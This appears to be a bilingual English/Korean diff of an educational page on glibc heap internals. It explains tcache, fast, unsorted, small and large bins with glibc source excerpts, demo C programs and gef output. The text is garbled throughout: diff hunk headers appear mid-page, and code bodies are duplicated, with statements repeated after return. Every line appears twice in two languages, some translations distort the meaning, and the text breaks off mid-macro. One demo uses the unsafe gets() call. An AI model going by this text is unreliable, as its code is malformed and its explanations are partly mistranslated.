청크가 저장되는 효율성을 개선하기 위해 모든 청크는 단일 연결 리스트에만 있지 않고 여러 유형이 있습니다. 이것이 바로 빈(bins)이며, 5가지 유형의 빈이 있습니다: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 소형 빈, 63 대형 빈, 1 정렬되지 않은 빈, 10 빠른 빈 및 64 tcache 빈이 스레드당 존재합니다.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
각 정렬되지 않은, 소형 및 대형 빈에 대한 초기 주소는 동일한 배열 내에 있습니다. 인덱스 0은 사용되지 않으며, 1은 정렬되지 않은 빈, 빈 2-64는 소형 빈, 빈 65-127은 대형 빈입니다.
### Tcache (Per-Thread Cache) Bins
### Tcache (스레드별 캐시) 빈
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
스레드가 자신의 힙을 가지려고 시도하더라도(see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), 많은 스레드를 가진 프로세스(예: 웹 서버)가 **다른 스레드와 힙을 공유할 가능성이 있습니다**. 이 경우, 주요 해결책은 **락(lockers)**의 사용이며, 이는 **스레드를 상당히 느리게 만들 수 있습니다**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
따라서, tcache는 **청크를 병합하지 않는 단일 연결 리스트**라는 점에서 스레드당 빠른 빈과 유사합니다. 각 스레드는 **64개의 단일 연결 tcache 빈**을 가집니다. 각 빈은 최대 [7개의 동일 크기 청크](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323)를 가질 수 있으며, 크기는 [64비트 시스템에서 24B에서 1032B, 32비트 시스템에서 12B에서 516B](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)입니다.
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**스레드가 청크를 해제할 때**, **tcache에 할당될 수 있을 만큼 크지 않고** 해당 tcache 빈이 **가득 차지 않았다면** (이미 7개의 청크가 있음), **거기에 할당됩니다**. tcache로 갈 수 없다면, 전역적으로 해제 작업을 수행하기 위해 힙 락을 기다려야 합니다.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
**청크가 할당될 때**, 필요한 크기의 무료 청크가 **Tcache에 있다면 사용하고**, 그렇지 않으면 전역 빈에서 하나를 찾거나 새로 생성하기 위해 힙 락을 기다려야 합니다.\
또한 최적화가 있으며, 이 경우 힙 락을 가진 상태에서 스레드는 **요청된 크기의 힙 청크(7)로 Tcache를 채웁니다**, 따라서 더 필요할 경우 Tcache에서 찾을 수 있습니다.
<details>
<summary>Add a tcache chunk example</summary>
<summary>Tcache 청크 예제 추가</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
main 함수의 ret opcode에서 중단점을 설정하여 컴파일하고 디버깅합니다. 그런 다음 gef를 사용하여 사용 중인 tcache bin을 확인할 수 있습니다:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
#### Tcache 구조체 및 함수
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
다음 코드에서는 **max bins**와 **chunks per index**, 이중 해제를 방지하기 위해 생성된 **`tcache_entry`** 구조체 및 각 스레드가 bin의 각 인덱스에 대한 주소를 저장하는 데 사용하는 **`tcache_perthread_struct`**를 볼 수 있습니다.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code><code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
함수 `__tcache_init``tcache_perthread_struct` 객체를 생성하고 공간을 할당하는 함수입니다.
<details>
<summary>tcache_init code</summary>
<summary>tcache_init 코드</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
#### Tcache 인덱스
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
Tcache는 크기와 **각 인덱스의 첫 번째 청크에 대한 초기 포인터 및 인덱스당 청크 수가 청크 내부에 위치**하는 여러 개의 빈을 가지고 있습니다. 이는 이 정보를 가진 청크(보통 첫 번째)를 찾으면 모든 tcache 초기 포인트와 Tcache 청크의 수를 찾을 수 있음을 의미합니다.
### Fast bins
### 빠른 빈
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
빠른 빈은 **작은 청크에 대한 메모리 할당 속도를 높이기 위해** 최근에 해제된 청크를 빠른 접근 구조에 유지하도록 설계되었습니다. 이러한 빈은 후입선출(LIFO) 방식을 사용하므로, **가장 최근에 해제된 청크가 새로운 할당 요청이 있을 때 가장 먼저** 재사용됩니다. 이 동작은 속도에 유리하며, 스택(LIFO)에서 위쪽에서 삽입하고 제거하는 것이 큐(FIFO)보다 빠릅니다.
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
또한, **빠른 빈은 단일 연결 리스트**를 사용하며, 이중 연결 리스트를 사용하지 않아 속도가 더욱 향상됩니다. 빠른 빈의 청크는 이웃과 병합되지 않기 때문에 중간에서 제거할 수 있는 복잡한 구조가 필요하지 않습니다. 단일 연결 리스트는 이러한 작업에 대해 더 간단하고 빠릅니다.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
기본적으로 여기서 발생하는 것은 헤더(확인할 첫 번째 청크에 대한 포인터)가 항상 해당 크기의 최신 해제된 청크를 가리킨다는 것입니다. 그래서:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- 해당 크기의 새로운 청크가 할당되면, 헤더는 사용할 수 있는 무료 청크를 가리킵니다. 이 무료 청크가 사용할 다음 청크를 가리키므로, 이 주소는 헤더에 저장되어 다음 할당이 사용 가능한 청크를 찾을 수 있도록 합니다.
- 청크가 해제되면, 무료 청크는 현재 사용 가능한 청크에 대한 주소를 저장하고, 이 새로 해제된 청크에 대한 주소가 헤더에 넣어집니다.
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
연결 리스트의 최대 크기는 `0x80`이며, 크기 `0x20`의 청크는 인덱스 `0`에, 크기 `0x30`의 청크는 인덱스 `1`에 배치됩니다...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
> 빠른 빈의 청크는 사용 가능으로 설정되지 않으므로, 주변의 다른 무료 청크와 병합될 수 있는 대신 일정 시간 동안 빠른 빈 청크로 유지됩니다.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>빠른 빈 청크 예제 추가</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
8개의 동일한 크기의 청크를 할당하고 해제하는 방법에 유의하여 tcache를 채우고 여덟 번째 청크가 빠른 청크에 저장됩니다.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
이를 컴파일하고 `main` 함수의 `ret` opcode에 중단점을 설정하여 디버깅합니다. 그런 다음 `gef`를 사용하면 tcache bin이 가득 차 있고 하나의 청크가 빠른 bin에 있음을 확인할 수 있습니다.
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### 정렬되지 않은 빈
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
정렬되지 않은 빈은 메모리 할당을 더 빠르게 하기 위해 힙 관리자가 사용하는 **캐시**입니다. 작동 방식은 다음과 같습니다: 프로그램이 청크를 해제하면, 이 청크가 tcache나 빠른 빈에 할당될 수 없고 최상위 청크와 충돌하지 않는 경우, 힙 관리자는 즉시 이를 특정 소형 또는 대형 빈에 넣지 않습니다. 대신, 먼저 **인접한 무료 청크와 병합**하여 더 큰 무료 메모리 블록을 생성하려고 시도합니다. 그런 다음, 이 새로운 청크를 "정렬되지 않은 빈"이라고 불리는 일반 빈에 배치합니다.
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
프로그램이 **메모리를 요청하면**, 힙 관리자는 **정렬되지 않은 빈을 확인**하여 충분한 크기의 청크가 있는지 확인합니다. 적합한 청크를 찾으면 즉시 사용합니다. 정렬되지 않은 빈에서 적합한 청크를 찾지 못하면, 이 목록의 모든 청크를 크기에 따라 해당 빈(소형 또는 대형)으로 이동합니다.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
더 큰 청크가 두 개의 절반으로 나뉘고 나머지가 MINSIZE보다 크면, 다시 정렬되지 않은 빈에 배치됩니다.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
따라서 정렬되지 않은 빈은 최근에 해제된 메모리를 빠르게 재사용하여 메모리 할당 속도를 높이고 시간 소모적인 검색 및 병합의 필요성을 줄이는 방법입니다.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> 청크가 서로 다른 범주에 속하더라도, 사용 가능한 청크가 다른 사용 가능한 청크와 충돌하는 경우(원래 서로 다른 빈에 속하더라도) 병합됩니다.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>정렬되지 않은 청크 예제 추가</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
9개의 동일한 크기의 청크를 할당하고 해제하는 방법에 유의하세요. 이 청크들은 **tcache를 채우고**, 여덟 번째 청크는 **fastbin에 비해 너무 커서** 정렬되지 않은 빈에 저장됩니다. 아홉 번째 청크는 해제되지 않으므로 아홉 번째와 여덟 번째 청크는 **상위 청크와 병합되지 않습니다**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
이를 컴파일하고 `main` 함수의 `ret` opcode에 중단점을 설정하여 디버깅하세요. 그런 다음 `gef`를 사용하면 tcache 빈이 가득 차 있고 하나의 청크가 정렬되지 않은 빈에 있는 것을 볼 수 있습니다:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
### 작은 빈
Small bins are faster than large bins but slower than fast bins.
작은 빈은 큰 빈보다 빠르지만 빠른 빈보다는 느립니다.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
62개의 각 빈은 **같은 크기의 청크**를 가집니다: 16, 24, ... (32비트에서 최대 크기는 504바이트, 64비트에서 1024바이트). 이는 공간이 할당되어야 할 빈을 찾고 이 목록에서 항목을 삽입하고 제거하는 속도를 높이는 데 도움이 됩니다.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
작은 빈의 크기는 빈의 인덱스에 따라 다음과 같이 계산됩니다:
- 가장 작은 크기: 2\*4\*index (예: 인덱스 5 -> 40)
- 가장 큰 크기: 2\*8\*index (예: 인덱스 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
작은 빈과 큰 빈 중 선택하는 함수:
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>작은 청크 예제 추가</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
9개의 동일한 크기의 청크를 할당하고 해제하는 방법에 유의하세요. 이 청크들은 **tcache를 채우고**, 여덟 번째 청크는 **fastbin에 비해 너무 커서** 정렬되지 않은 빈에 저장됩니다. 아홉 번째 청크는 해제되지 않으므로 아홉 번째와 여덟 번째 청크는 **top chunk와 병합되지 않습니다**. 그런 다음 0x110 크기의 더 큰 청크를 할당하면 **정렬되지 않은 빈의 청크가 작은 빈으로 이동합니다**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
이를 컴파일하고 `main` 함수의 `ret` opcode에 중단점을 설정하여 디버깅합니다. 그런 다음 `gef`를 사용하면 tcache 빈이 가득 차 있고 하나의 청크가 작은 빈에 있는 것을 볼 수 있습니다:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
### 대형 빈
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
작은 빈이 고정 크기의 청크를 관리하는 것과 달리, 각 **대형 빈은 청크 크기의 범위를 처리합니다**. 이는 더 유연하여 시스템이 **다양한 크기**를 수용할 수 있게 하며, 각 크기마다 별도의 빈이 필요하지 않습니다.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
메모리 할당기에서 대형 빈은 작은 빈이 끝나는 지점에서 시작합니다. 대형 빈의 범위는 점진적으로 커지며, 첫 번째 빈은 512바이트에서 576바이트까지의 청크를 포함할 수 있고, 다음 빈은 576바이트에서 640바이트까지를 포함할 수 있습니다. 이 패턴은 계속되며, 가장 큰 빈은 1MB 이상의 모든 청크를 포함합니다.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
대형 빈은 작은 빈에 비해 작동 속도가 느립니다. 왜냐하면 할당을 위한 최적의 청크를 찾기 위해 **다양한 청크 크기의 목록을 정렬하고 검색해야** 하기 때문입니다. 청크가 대형 빈에 삽입될 때 정렬되어야 하며, 메모리가 할당될 때 시스템은 적절한 청크를 찾아야 합니다. 이 추가 작업으로 인해 **느려지지만**, 대형 할당이 작은 할당보다 덜 일반적이기 때문에 이는 수용 가능한 거래입니다.
There are:
다음과 같은 빈이 있습니다:
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 64B 범위의 32개 빈 (작은 빈과 충돌)
- 512B 범위의 16개 빈 (작은 빈과 충돌)
- 4096B 범위의 8개 빈 (일부 작은 빈과 충돌)
- 32768B 범위의 4개 빈
- 262144B 범위의 2개 빈
- 나머지 크기를 위한 1개 빈
<details>
<summary>Large bin sizes code</summary>
<summary>대형 빈 크기 코드</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
